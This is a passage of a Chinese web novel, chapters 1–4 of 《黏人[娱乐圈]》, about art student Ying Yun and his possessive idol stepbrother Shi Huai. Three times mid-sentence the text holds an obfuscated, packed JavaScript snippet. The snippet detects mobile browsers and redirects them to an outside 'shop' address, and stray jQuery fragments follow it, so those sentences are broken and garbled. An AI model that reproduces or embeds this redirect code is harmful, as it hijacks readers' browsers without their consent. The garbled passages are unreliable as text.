《黏人[娱乐圈]》 1. 第 1 章 应允这孩子,打小就跟别人不一样。 小时候学写作文,别人都写《我的爸爸》《我的妈妈》,他通通写成《我的哥哥》。 后来他哥成团出道,他的作文题目变成了《我的明星哥哥》。 再后来,学校统一让写议论文。他哥带着自己的团火遍国内,还去国外巡演,成了被央视采访的正能量偶像。“时淮”这个名字就变成他作文里的素材,用来论证各种题目要求的论点——“奋斗”“努力”“希望”…… 他六岁才有哥哥,可父母都在记忆里淡得不像话,只有哥哥无处不在。 一切是怎么开始的呢。 六岁那年,他被应小蝶牵着手走进时淮家。 面对陌生的环境,陌生的叔叔和又高又帅的哥哥,他自我介绍时太紧张,想说“我”,结巴一声说成了“汪”。 十二岁的时淮在大人面前绅士礼貌,像小王子,冲着他温和地笑。 可背对着大人,不怀好意的眼神只有他看得见,“听起来像小狗。” 应允打了个冷颤,茫然地睁开眼睛。 四月天里刚经过一场倒春寒。他四仰八叉地躺在宽阔的双人床上,半截身子腾空,袜子不翼而飞。 被子踢在床尾缩成一团。枕头早就掉下了床,连床头柜上的水杯都被他半夜翻身的大动作撞翻,掉在地毯上撒得干干净净。 他把卷到胸口的t恤往下拽,盖住凉飕飕的小腹,慢腾腾地坐起身,缓了缓神,锈住的脑袋迟钝地回忆昨晚都干了些什么。 跟同学喝酒蹦迪到凌晨……回家倒头就睡……睡觉时表演杂技,还在梦里写了一晚上的作文,可把他累坏了。 跟往常一样。 窗帘没关,阳光透过落地窗照得一屋亮堂。他后知后觉地感到沉闷的头痛,口干舌燥,捡起杯子去重新倒了水一饮而尽,又倒回床上拉着被子蒙头补回笼觉。 不多时,手机铃声兀地响起,摇滚乐过分热情的鼓点响彻卧室。 他困倦地闭着眼睛,满床乱摸,最后掉了个头趴在床尾,从地毯上的外套兜里捞出手机,睡眼惺忪地看来电显示,贴到耳边有气无力,“喂……” “乖,怎么睡到这个时候?” 应允耳朵一热,翻身掉下了床。 他上个月刚过完二十岁生日,都大三了,学校里打球约架横着走,教学楼遇到新生都羞答答地跟他说学长好。 他哥还喊他乖。 宿舍里都是上铺下桌,掉床不是这个动静。电话那头的人又敏锐地发问,“昨天晚上睡在哪?” “睡在你家。” “想哥哥了?” “滚啊。” 成熟男人的嗓音醇厚低沉,笑声顺着手机传过来,像抵着他的耳朵震动,鸡皮疙瘩起了一身。 应允坐在地板上揉眼睛,“昨天跟同学过来玩,太晚了懒得打车回学校。” 时淮很早就买了房子,其中一套在明海市中心的高层公寓,周围吃喝玩乐一应俱全,还有全国出名的夜店。 他哥是男团August的队长兼主唱,从出道第一年火到现在,每年专辑回归都势头无两,时至今日,在国内基本是路人皆知的水平。明海市好几处房产,自己没怎么住过,倒是便宜了他这个弟弟到处玩的方便。 “自己接的活忘了?今天下午。夏赢问你怎么还没到。” “……我靠。” 应允一个激灵清醒过来,看了眼备忘录,手忙脚乱地脱裤子,“我喝多了……我跟他约的两点,他给你打电话了啊?” “不着急。” 他哥永远是不紧不慢的语调,从容地安排他,“去洗澡,然后打开衣柜看看你今天穿什么。下午茶半个小时之后送到门口,吃完之后开我的车去,四点之前到工作室。” 应允歪头夹着手机,拉扯裤子上的抽绳,只听了个开头和结尾就说“哦”,放下手机去洗澡。 夏赢是他哥团里的成员之一,最近几年August成员个人发展都很不错。夏老板新工作室正在装修,嫌墙面空白单调,知道他在美院上学,就让他去搞个墙绘添添颜色。 大三课没前两年那么多了,他跟同学经常接些小活赚外快,碰上熟人当甲方爸爸,那当然是含泪狠赚一笔。 定好的闹钟没一点用。幸亏他哥打过招呼,推迟两个小时再去就来得及,他还有时间好好拾掇自己。 他肤色底子瓷白,熬完夜明显得很,洗完澡精神了些,又讲究地找出遮瑕膏,挤了一小坨对着镜子给自己盖黑眼圈。 吹到半干的发尾往上翘着,是天生的自然卷,很衬镜子里那张年轻朝气的脸。他左右打量,桃花眼满意地微眯,似笑非笑,懒散不羁的小狼狗模样。 才欣赏了几分钟,时淮又掐着点打来电话,指使他去换衣服。从背心到卫衣裤子袜子,全得听他哥的一件一件找出来穿。 应允嘴边上嗯嗯哦哦地应着,纳闷他哥怎么有这么好的记忆力,连哪套房子里放了什么衣服都记得。视线却溜过衣柜里那排吊牌都没拆的名牌时装,随手拿了两件他哥穿过的套上。懒得拆吊牌。 这样阳奉阴违的事他不是第一次干了。反正人不在眼前,他偶尔叛逆一下问题不大。 他从小就听时淮的话。小到一天三顿饭和今日穿搭,大到高考作文——他那作文里歌颂大明星的光辉事业和高尚人品的事实论据都是被大明星本人亲自指使的,说写了就能得高分。 虽然确实是得了高分,但他都已经二十岁了,高考都结束三年了,也该有点子叛逆在身上才行。 应允把他哥钦点的白袜子扔回去,故意挑了双灰色的穿,“换好了。” 时淮说:“拍个全身照发过来看看。” “……” 他不情不愿地回忆刚才时淮指定的穿搭,重新换衣服,带着最后的倔强保留了灰袜子,脚踝以上对镜自拍一张。 下午茶准时送到。他大口解决三明治,顺便把提前敲定好的图稿发给关潼,让她来的路上帮忙打印出来。 今天要画的墙有二十平,他一个人要搞太久,免不了叫个朋友过来打下手。关潼早准备好了彩漆和工具,就等他说什么时候出发集合,“知道啦,我地铁过去半个小时到。” “打车过来,给你报销。”睡过头了让人家姑娘等半天,多少是有点不好意思,“杨枝甘露喝吗?给你带一杯。” “喝!” 填饱肚子后出门,路过玄关时,他瞥了眼贴在墙上有些褪色的量尺。时淮买下这里时他还在上初中,正是长个儿的时候,每次过来住都喜欢站在这量身高,长个一两厘米都很有成就感,刻度上已经被标了十几道。 上大学之后基本都住在宿舍,来这里住的时候不多。他背靠着墙站直拍了张照。 【我183了!】 【马上就能跟你一样高了】 【把鞋脱了重新量】 【……】 【现在是多少?】 应允不情不愿地回复。 【178】 【乖】 【今天穿的哪双鞋?底这么厚】 靠。 应允把手机往兜里一揣,愤愤地穿好鞋正要抬脚走人,才想起自己忘了问车钥匙在哪。 手机又在他兜里震动。 【车钥匙在床头柜抽屉里】 “……” 时间卡得恰到好处。 应允认命地回去拿。 他六岁才有哥哥,上个月刚过完二十岁生日。迄今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595673|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为止,人生中有百分之七十的时间都在受到他哥的制裁。 今天也不例外。 ** 夏赢的工作室选址在厚街艺术区对面,位置很好找。 艺术区是明海市有名的地标,他之前跟同学来看展,逛过好几次。关潼也不是第一次来,省了参观的时间直奔施工现场,捧着杨枝甘露边喝边嚼,“我还以为今天能看到大明星呢。” “他们一个比一个忙。” 应允对着刷好的大白墙拍了张照,发给夏赢宣布自己要开始整活了,“哪有时间亲自来监工啊。” 他以前也怀疑他哥他们是不是真的有说的那么忙,看过助理发来的工作单后就只剩同情了。夏老板倒是对他很放心,只说别殃及邻居就行,其余的随便折腾。 图稿改过两次也已经确认了构图,不是什么复杂的图案——主图是一只彩色的斑马从画框里探出头,还交待了要把斑马的睫毛画长一点。夏老板审美奇特。 墙面有两三米高。应允爬上梯子打底稿,关潼在底下整理工具,抛给他一条围裙,“挡一下衣服。” 应允垂手一捞,套上之后继续干活。专注投入时间过得很快,暮光橘黄,墙绘上色已经完成了大半。不同光线下会有色差,他们没有停下休息,等到街区纷纷亮起路灯,作品基本完成。关潼帮他一起勾些细节和小装饰。 自然光和灯光下的效果都不错,应允这才满意。身上的围裙染得颜料斑驳,他不拘小节地坐在地上喝了口柠檬茶,“累死我了。” 关潼举着毛笔退后几步看整体效果,赞许地点头,“小允子是有些功夫在身上的。” “……” 剩下的收尾工作就简单许多,两人站在墙根底下一边细化一边闲聊。 下午争分夺秒地画画,关潼一直憋着没打扰他,这会儿才揶揄地撞了下他的肩,“听我的乘十老婆说,你们最近聊天聊得挺不错。” “啧。”应允左手拿着画刷,跟她比划了个爱心,语气很有戏,“何止不错,是相当不错。” 试问哪个青春期小狼狗不想找个小美人,来一段甜甜的恋爱呢。他都二十了,再不谈恋爱眼看大学都要毕业了,找对象这种事必须提上日程。 学校里符合他审美的也有,但奇了怪了,凡是他看上的帅哥全都有男朋友,到现在还孤寡着,已经绝望到开始搞网恋了。 乘十是关潼介绍给他的网络画师,共同话题很多,两人刚聊几天,聊得相当融洽。他也看过乘十微博上的照片,温和柔软的眉眼,整个就长在他的审美点上。 “我惨了,”应允叹气,“我坠入爱河了。” “我就知道你会喜欢他。”关潼嘿嘿地笑,又说,“不过你时哥管你管得那么严,会让你网恋吗。” 她对应允的大明星哥哥有很深刻的印象——应允的朋友之中应该没有谁不知道的。 应允有个随时随地查岗的哥哥,只要一个电话过来,他就得汇报自己人在哪干什么几点回家,完全取代了爸妈的位置,应允基本什么事都听他哥的,从几岁到十几岁都没变过。 “估计……我也不知道。” 应允迟疑了一下,“我还没跟他说过这个。” 他有时候也觉得,自己这个哥跟别人家的哥不太一样。小时候照顾他没得说,长大了对弟弟的控制欲却有增无减,都成年了每天电话微信都没断过,经常对他的个人生活干涉过头。 换成其他人被这么安排早不忿了。他倒是还好。虽然偶尔也嫌烦,但多数时候都心大不以为意,主要是他哥一般说得都对,所以他听话总没错。 可谈恋爱这种事,还是不太一样的。 “那就不让他知道呗。”应允盲目开朗道,“我瞒着他不就行了。” 2. 第 2 章 以时淮的作风,知道弟弟谈恋爱肯定不会袖手旁观的,他可不想以后连约会时一天接几次吻都被盘问。 “那行吧,”关潼说,“你好好努力,总比继续惦记我哥强。” 好在这会儿只有两个人。应允被她损得有点挂不住面子,一边画画一边嚷嚷,“谁惦记了。我可是个正经的恋爱脑,只想谈恋爱,不撬人墙角。” 关潼是个漂亮姑娘,她亲哥也帅得一批。他一见倾心,再见知道人家有男朋友就死心了。最多是碰面的时候忍不住额外欣赏几眼,纯粹是对女娲捏人的手艺表达一下尊敬,没有非分之想。 黑夜给了他黑色的眼睛,可不就是用来看帅哥美人的么。 尤其是像August那种八人团拍大合照的时候,帅得各有千秋,他能挨个欣赏一遍,一张照片仔仔细细看半天。关潼说他看帅哥合照就像刘姥姥进大观园,比喻得很有些神韵在。 这么多年来,时淮在娱乐圈里也已经混成了当哥的辈分,他跟着见过不少世面,对帅哥的评判标准提高了许多。可明星帅哥跟素人帅哥不一样,带着些职业特性,通常只适合远观,欣赏欣赏就完了,不适合正儿八经地谈恋爱。连他哥都没打算在圈里找对象,他耳濡目染也觉得不靠谱。 他的理想型就是画师乘十那样,温柔美人的类型,漂亮但不娇弱,带着些宜室宜家的温良宽和,一眼看过去就让人想大呼“老婆”。 像乘十那种类型,无论娱乐圈还是素人里都很少见,他也是第一次接触。看过照片之后就很心动了,关潼却说,“我还有视频嘿。” 应允画完最后一笔,画刷一丢,双眼发亮,“我也想康康。快给我康康。” “他本名叫程识。”关潼美滋滋地介绍老婆,把手机拿进给他看,“我前几天去茂华漫展面基,还去他家里蹭饭来着。他真人比照片更好看哦。” 半分钟的视频里,从客厅到餐桌都收拾得井井有条。程识系着围裙在厨房忙活,及肩发在脑后扎成一束小揪,脸庞边散落两缕发丝,素净温和的模样。 听到她叫“老婆”的瞬间,镜头里的人抬起头,眼底蕴着含蓄的笑意,语气无奈又宠溺,“快过来,开饭了。” “靠,”应允把进度条拉回去又看一遍,“狠狠心动了。” 什么叫清水出芙蓉,天然去雕饰。这就是。 关潼很懂地朝他眨了眨眼,“我还劝他过来明海玩儿来着。不过他最近都要帮亲戚照顾小孩,可能不太方便出远门。” 应允含糊地喔了一声,还沉迷于视频中的美人不可自拔,“他能来这就好了,我也想亲眼见见他。” 晚些时候收拾残局完工,他拍了照片发过去。夏老板对成品很满意,给他转了笔8888的辛苦费。他向来大方,直接给关潼分了2333,“给你报销车费了哈,顺便感谢你帮我牵线。” 关潼捧着手机感叹:“这就是富二代的魅力吗。” 他确实从小就不缺钱花。应小蝶在他八岁那年因为车祸意外去世,留下了一大笔存款和更大的一笔保险金。只要他不一时兴起去首都二环买房,这些钱就足够他吃穿不愁地过完一生。 更别提他一年里有半年都在吃他哥穿他哥的。虽然带着点半强迫性质,可也不是什么值得为难的事。 毕竟哥哥给点的餐不吃白不吃,哥哥的名牌衣橱不穿白不穿。哥哥的跑车也是不开就放那落灰了,多浪费。 他这可不是逆来顺受。应允想,他这叫识时务,会享受。 车里摇滚乐开得震天响,应允把帮忙的小姑娘送回家。看时间还早,就顺便叫了两个朋友去吃烧烤唱k,浪到半夜才打道回府。 明天上午有早课,这车开过去停宿舍楼底下多少是有点招摇。他虽然是个富二代外加星二代——不是星二代也能凑合算个星一点五代,但还是懂得安分守己的道理。 把车停回车库,明天早上睡醒再打车回学校上课就行了。应允打着呵欠上楼,指纹解开门锁,拉开家门时嘴巴还没闭上,猛吞了一大口带着奶油甜香味的空气,“……哥?” 他反手关上门,看厨房那块儿灯亮着,坐在门口换拖鞋时提高嗓音喊,“哥你怎么突然回来啦!做什么呐!” 没有人理他。他也没指望时淮会跟他一样大呼小叫,自顾自地喊完就跑去厨房看热闹。 厨房岛台前有个高大的身影,对他的喊声充耳不闻,仍旧有条不紊地忙碌着手头的程序。 旁边烤盘上晾凉的泡芙外皮焦黄酥脆,中间剖开一道口子做好了准备。时淮把打发好的奶油装进裱花袋里,套上裱花嘴,拿起泡芙一只只往里挤。 众所周知,当明星的压力很大。尤其是在August担任队长,从出道起就得比别的成员多操好几倍的心。因此在闲暇时间,找寻一些解压方式也可以理解。 众所不知,August的队长是个大半夜在厨房做奶油泡芙的神经病。 应允见怪不怪,趴在岛台上吸气,“好香。” 他望着泡芙蠢蠢欲动。时淮没抬眼,继续往泡芙里填奶油,“去洗手。” “哦。” 应允想也不想地照做,路过冰箱拿了两罐柠檬茶,待会儿佐甜品一起吃。 他是个柠檬茶特级狂热分子,恨不得手上破道口子流的血都是柠檬茶味。时淮就不知道了。他哥好像对什么都差不多,口味没有偏好也没有禁忌,往往他喝什么就给他哥拿一样的。 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595674|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一只泡芙也被填充完毕,裱花袋里的奶油还剩下一些。看他哥那意思像是想直接扔了,应允连忙阻止,“哎别浪费了啊!我吃,炫我嘴里。” “……” 是个勤俭节约的富二代。 时淮动作顿了顿,看着他抬起手,神色冷淡道,“张嘴。” 应允听话地“啊”了一声,尾音拖得很长,犬牙齿尖若隐若现。 跟关潼家那对亲兄妹不同。他跟时淮既不一个爸,也不一个妈,各自单亲家庭,属于是老天爷给的缘分才凑齐一家成了兄弟。自然也是长得一点都不像。 时淮的长相很矜贵。眉骨高鼻梁挺,还有双眼皮,从小就唇红齿白的,他小时候还老觉得他哥长得有点像外国人,“我上次见你的时候,你头发还是淡金色呢。” 应允砸吧着奶油,眼睛忙碌地在一排泡芙中挑选,最后选了右上角那只开吃,“你粉丝说你冷白皮染浅色好看。” 时淮不置可否地嗯了一声,背对着他去洗手,精心修剪过的发丝层次分明,漆黑浓密,“昨天拍杂志染回来了。” “唉,感觉好久没见你了。”应允舔着手指说,“上一次吃你做的泡芙,还是在上一次。” 他跟时淮有小半个月没见面了。这种情况从时淮出道后就是寻常事,他们最长有过两个月没见面,大多数时间都是在用手机联系。 他哥还有这点奇怪。不见面的时候那小嗑唠得一串一串的,见了面反而高冷起来,基本上都是他在找话说。 其实这个状态才比较接近时淮真正的性格和模样。August队长公认的外界形象是亲切大方,稳重可靠。对着镜头营业时,他总是要调整出最好的状态,话少不笑是不行的,不敬业。 下了班回到家,对着弟弟时终于能卸下面具,也就懒得再说话了。 应允很能谅解他。怎么舒服怎么来就挺好的,还怕他压力太大了憋得心理变.态,所以平时勉为其难地听他吩咐,满足一下他的控制欲。 也就是我了。应允边吃边想。 这么善解人意的弟弟还上哪找去啊。 时淮果然对弟弟的废话文学演讲没什么回应。 明天下午有个节目要录,他是代班MC,做泡芙的过程中,沟通过的节目流程和嘉宾信息被从头梳理了一遍,脑内PPT这会儿才结束。 思绪从工作中抽离,他转过身扯了张纸巾擦干手指,视线平移,看见他的好弟弟正嚣张地坐在岛台上。小腿腾空,拖鞋松松地挂在脚背上晃,还穿着双灰色的袜子。 一双他没见过的灰色袜子。 “哎,你明天什么时候走啊?” 应允吃得正开心。转头一看,他哥倒好像不怎么高兴。 3. 第 3 章 后脑勺磕进时淮掌心里时,应允嘴里还含着没咽完的奶油。 他也不太清楚两个人是怎么打起来的。反正从小就这样,他偶尔故意跟他哥唱反调的时候,被发现了就得被收拾一顿。 不过好兄弟打架的事能叫打架吗,叫交流感情。谁也不下重手,谁也不能打脸。 “为什么不听话,”时淮压着他的肩,居高临下地看着他,“忘了会有什么下场?” 应允奋力反抗,两人滚在地板上,肩别着肩腿压着腿。刚喘了口气,冷不丁被他掀起来又撂倒在地板上,强行武力压制,屁股上挨了一巴掌。 “……” 即使家里只有他们两个人,这一巴掌下去面子上也很挂不住。 应允没劲儿了,像条咸鱼趴着摆烂,只会垂死咆哮,“我都二十岁了连穿哪双袜子都不能自己决定吗!我都二十了!”还被哥哥打屁股! 时淮被这股子悲愤的劲头逗笑,眉眼一弯,冷敛的神情倒变得柔和不少,双手穿过他两肋,把他从地板上掂起来平视,“嗯,是长高了。重了点。” 应允耷拉着手脚,被他用187cm的身高制裁,气不过朝他小腿上踢了一脚,“重个屁,那是我刚才吃的宵夜。上个厕所就拉没了。” 时淮嗯了一声,把他放回岛台坐着,弯腰勾住他袜子的边,一只又一只,轻易地脱下来扔进垃圾桶。 一下子凉飕飕的,光裸的脚趾动了动,想再踹他一脚,但很识时务地没有轻举妄动。 他从小就打不过时淮。说是好兄弟闹着玩不能下狠手,其实是为了给自己留点面子。况且反抗完以后基本还是得听他哥的,后来他就都懒得反抗了。 时淮有那么点子强迫症在身上,不过一般情况下,也不会因为穿错一双袜子跟他计较。应允诧异道,“你今天怎么了?谁惹你不高兴了啊。” 他还觉得自己可怜,是替谁背了黑锅。 离近了,时淮能闻到他身上的烧烤味。最近出差录制一直不在国内,这个弟弟过得很猖狂,微信里唯唯诺诺,私生活重拳出击,熬大夜喝大酒蹦迪烧烤一样不落,不过零点不进家门。 时淮用扯过他袜子的手指摸他的脸。应允嫌弃地往后仰着躲,还是被蹭去了些。 下午出门时涂的遮瑕膏居然这么持久,跟着他浪到这会儿,又粘到时淮的指腹上,“再熬夜就给我吃了。” “……” 阳奉阴违的事他哥不是不知道,只是够不着。 认识到自己的错误,应允立刻改变了态度,熟练地口述保证书。 他上中学时熬夜熬出过问题,流鼻血进医院躺了三天。从那以后时淮就严厉禁止他熬夜,可能是怕他猝死。再也找不着他这么好摆弄的弟弟了。 对弟弟加以惩戒后,时淮看起来心情比刚回家时好了许多,于是适当地翻篇,“把厨房收拾了过来睡觉。” “哦。” 应允撇撇嘴,洗完烘焙工具又把台面擦干净,拿只便当盒把剩下的泡芙打包。 对时淮而言,厨房是解压的玩具。食材的分量,温度和时间都是确切的数字,只要按照步骤进行就一定能做得好吃,很能满足一些个掌控欲。但是他向来只做不吃,成品都得由应允负责处理。 拿来的柠檬茶他也没有喝。应允懒得放回冰箱,把自己喝剩下的那半瓶一饮而尽,另一瓶留在岛台上,洗漱上床。 这套房子有一间主卧,两间客房。客房常年空着,谁爱住谁住,反正他不住,时淮也不住。 所以各自洗香之后,兄弟俩躺在一张床上。 这并不奇怪。只要是在一处过夜,不管还有其余多少个房间他们俩都会睡一张床,从小到大都是这样。 他睡相不好自己也知道,总睡得满床跑,但神奇的是跟时淮睡就特别乖,可能连潜意识也在被管制,一整晚过去基本不会乱动。也亏得是这样,不然早就被他哥踹下床了。 时淮靠在床头听歌。他不怎么想玩手机,调了闹钟就扔一边去了。躺一会儿觉得太无聊,睡不着就又开始作妖,往他哥腹肌上戳一指头,“哥,我昨天晚上梦见你了。” “梦见我什么,”时淮戴着耳机居然也听得到他说话,波澜不惊地抓住他的手扔一边,“又逼着你写作文了?” “……” 不知道是不是有点心理阴影,他经常梦见小时候学写作文的景象。按照他的作风,肯定也不止告诉过时淮一次。 应允想,他这个妖确实是作得比较频繁,一开口就了无悬念,这还怎么往下讲。 他翻来翻去的不好好睡觉。时淮缠好耳机线关了台灯,才刚躺下,双眼还未适应黑暗,身边就有热源靠近,散发着同款沐浴露的香气,“哥。” 他的声音带着些思虑过的郑重,“我好像喜欢一个人。” 短暂的停顿中,房间里只剩一道呼吸声。 应允很快又补充道,“不过暂时还是网恋。” 思虑过后,他觉得还是主动交待比较好。 一双袜子穿错了他哥都不高兴,万一知道他偷偷摸摸地谈恋爱,还不分分钟把他头打掉。 何况他在时淮面前藏不住秘密,谈恋爱肯定也瞒不住的,早坦白早舒心,说不定还能帮着他出出主意。 “网恋。”时淮重复了一遍,平躺着闭上眼,缓慢地问,“打游戏认识的小姑娘?” “不是,就网友,微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595675|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博上认识的。” “嗯,面都没见过就喜欢人家?” 应允被精准噎住,连展开讲讲喜欢的那个人是什么类型的机会都没有,半晌才不服气地哼了一声,翻身背对着他嘀咕,“像你这样的老男人是不会懂的。” 时淮比他大六岁,都隔着两个代沟了,不能理解网恋也正常。 但说到小姑娘…… 他在时淮跟前,也并不是完全没有秘密的。 他还没有跟时淮出柜。 他是不介意别人怎么看的,只是担心时淮的态度。August里其实就有一对成员在谈恋爱,从练习生时期就萌生的情愫,算是一见钟情加日久生情,除了不能公开之外私底下都处得挺好的。可这几年来看着时淮对两人感情的态度,他总觉得他哥有点恐同。 要是时淮知道他整天眼睛只盯在男的身上,会不会觉得他恶心,再也不想跟他睡一张床了? 说不定被恶心得一下不想管他了,那到底是算好事还是算坏事呢。 背对背安静地躺着,应允在乱七八糟的想法里睡熟了。 房间里两道呼吸声此起彼伏,逐渐趋近同一频率。又过了许久,时淮才无声地睁开眼睛,翻了个身,额头轻轻抵在他背上。 ** 隔天早上被闹钟吵醒,应允下意识地往旁边摸。 他记得自己是跟时淮一起睡的,但一米八七的大高个没摸着,只摸到了冰凉的一小坨。皱着眉头睁眼,发现缠在他手腕上的是条项链吊坠。 只一眼,也不用问他就明白了,这是时淮给他补的生日礼物。 他主修油画专业,这只吊坠的造型设计是调色盘。主石镶嵌欧泊,五光十色的变彩宝石很有些油画颜料的感觉。 他过二十岁生日时,时淮在欧洲出差没有赶回来,连生日礼物都没有给他寄,到现在才补上。 他心里其实不介意,但作妖体质刻在骨子里,就想损他哥几句。于是摸出手机对着调色盘吊坠拍了张照,发给时淮。 【现在才想起来,再晚几天我都二十一了】 【就这啊?也不发表几句生日致词吗?】 起这么早估计又去赶通告了,说不定正在保姆车上补觉。 应允发完微信没有等,戴着自己的生日礼物去洗脸刷牙,拿昨晚的泡芙当早餐,差点噎着了才注意到,他哥把昨晚剩在岛台上那瓶柠檬茶带走了。 今天哥哥不在,可以实现一下穿搭自由。他吃饱喝足,又挑了穿出门的衣裤,还注意搭配手腕上的欧泊吊坠,换完之后才去床上拿手机。 微信消息在二十分钟前就已经收到了回复。 【你永远都是我的小狗】 4. 第 4 章 “你才小狗。”应允对着聊天界面自言自语地嘀咕。 屏幕上忽然跳出网约车司机的来电,他对着手机嗯啊几声,跑去冰箱里又拿了一瓶柠檬茶匆匆下楼。 “到美院是吧?”司机提醒他系好安全带,笑着说,“我小侄女也在那上学,将来都要做艺术家呢。” 应允客气了几句。小侄女怎么打算的他不知道,但他考美院可不是为了当艺术家。宁愿连画十个小时的素描也不想连背一个小时单词,他纯粹是不喜欢读书。 他性格外向,很能叭叭些有的没的,随口附和着,手机屏幕上又切换回聊天界面。 他还没回复时淮的微信。可能是从小到大一起睡觉被传染,他也在奇怪的地方有些强迫症的症状,比如聊天时一定要由自己结尾,不然就一直惦记,总悬着心觉得有事情没做完。 回条什么呢。 应允在自己数量庞大的小狗表情包里精心挑选。 屏幕上不客气的称呼由来已久,他也并不介意。但其实幼时刚认识那年,兄弟两个远没有现在这样亲密。 那年时淮母亲才病逝不久,父亲就娶了新的的妻子。理所当然的,时淮看不惯应小蝶,连带着对他这个拖油瓶都抱有敌意。人前是兄友弟恭,人后就随意使唤他捉弄他。 偏偏他从小就没心没肺,被派去做这个拿那个的,都乐得屁颠屁颠,也不觉得自己受了欺负。 他早就很想要个哥哥。搬进时淮家里那会儿,他才上一年级。小学生的身份和新的家庭生活同时展开,他对着每一个认识的小伙伴炫耀,我有哥哥,我哥哥是初中生,我哥哥弹钢琴超厉害唱歌超好听长得超级帅,我哥哥的名字叫时子虞。 时淮是准备出道才改名的,那会儿上初一,还叫时子虞。正在逐渐步入叛逆期的年纪,性格也不像现在沉稳内敛,听到学校里的传闻,回家就冷着脸把他抱了起来。 自从来到这个家里,时淮连一片衣角都还没让他碰过。终于肯跟他亲近了,可他还没高兴几秒,就被自以为的哥哥扔进了院子里的大垃圾箱。 时淮说,我不需要弟弟。你跟你妈都只是住在我家里,你也不配当我弟弟,当我的宠物狗还差不多。 时淮的宠物是只马尔济斯犬,雪白可爱,名字叫小金。小金有自己的小木屋和公主床,可以睡在时淮的房间里。每天吃得好睡得香,只要把扔出去的玩具捡回来就能被夸好乖,每天还会被时淮抱在怀里撸背揉耳朵摸摸头。 六岁的应允站在垃圾箱里只能露出肩膀,心里很难过,还很羡慕那只小狗。 他带着一身垃圾味儿伸手抓住时淮的袖子,很认真地说那我不当你弟弟了,我也当你的小狗好不好? 我会乖的,你能不能对我妈妈好一点? 应小蝶人如其名,是一只及时行乐的花蝴蝶,照顾亲生儿子也要排在爱自己之后,更别提去讨好老公跟前妻生的儿子。只是面子上做些功夫,看得过去而已。 时淮早熟早慧当然看得出来,也看不惯,面上收了礼貌地道谢,转身就全部扔进垃圾箱。 就像扔掉他一样。 他的哥哥不喜欢爸爸,不喜欢妈妈,也不喜欢弟弟。应允想,哥哥应该喜欢小金。小金永远不会被扔掉。 那一天的事情是如何收尾的他已经忘了,只记得时淮没有拒绝他想当小狗的提议,开始肆无忌惮地管控他,比爸妈的规矩还多。他都听话照做。他爱妈妈,想让妈妈在新家里能过得好一点,也想要时淮别再乱丢东西。 可后来应小蝶过个马路人就没了。父母刚离婚,他从单亲变成了孤儿。谁都不要他,只有时淮还肯要他。 所以他继续当小狗,也没什么大不了的。 最后他挑了一张萨摩耶wink发过去给聊天收尾,悠闲地摆弄腕上的调色盘吊坠,手指摩挲着欧泊与一圈彩钻,不自觉地乱抠,怕把宝石弄坏被发现了要挨打,还是摘下来放进口袋里。 他有一点不值一提的长处,就是能察觉并珍惜来自他人的爱意。这也是他被时淮当成小狗养大,迄今为止都没觉得伤自尊的原因之一。换了是别的崽种敢把他当狗调戏,等不到放学就得操场见了。 手机嗡了一声,他立刻拿起来看。时淮给他回了emoji表情,是一只手掌,表示摸摸狗头。 他就又挑了一只可爱小狗的表情包发过去,好让那只手悬在脑袋上,就像真的在摸摸狗头一样。 他很擅长哄时淮开心。他出门时才七点半,时淮肯定起得比他早得多。又是起床气满满的一天,想来天不亮就得出门打工怪可怜的,他也不介意多哄哄。 他看不见时淮开心了没有。但时淮不回他表情了。 【乖,中午吃什么】 【糖醋排骨吧,十二点半之前到食堂拍照发给我】 “……” 应允发回去一个“拒绝”的表情包,学校到了。上午一般都是理论课程,甄焕早他十分钟进教室,帮他带了课本和早饭,饭团三明治巧克力一大堆。 “这么客气。”应允放下柠檬茶坐他旁边,只拿了自己的课本,“我吃过了。” “哪儿呀,我可没这个资本。”甄焕正忙着陪聊,扶了下黑框眼镜,声音很甜,“美女们给你献的爱心。” 这位室友长得帅性格也好,操场上打个球一帮人排队送水,挺受学校里的女生欢迎。 之前有次被人拍了三步上篮的高光时刻,发到某短视频平台上足足几十万的播放,评论区一溜评价他是“直女天菜”。 可惜并不像大家期待的那么直。 甄焕回完消息,抬起头看向他,白净的脸上浮起一丝红晕,奶声奶气道,“不过我确实没有吃早餐,给我个饭团行吗?” 应允靠了一声,堆成小山的食物通通推过去,“你好好说话。” “我也不想呀。”他拆开一只饭团,委屈地咬了一口,还吐舌头,“噫,好辣。” “……” 开学报到,应允踏进寝室的第一天,斯文白净的室友用娇滴滴的夹子音向他打招呼,护肤品化妆品一应俱全,激动得他以为找到了密友。 对完暗号才发现,妈的这玩意儿居然是个直男。 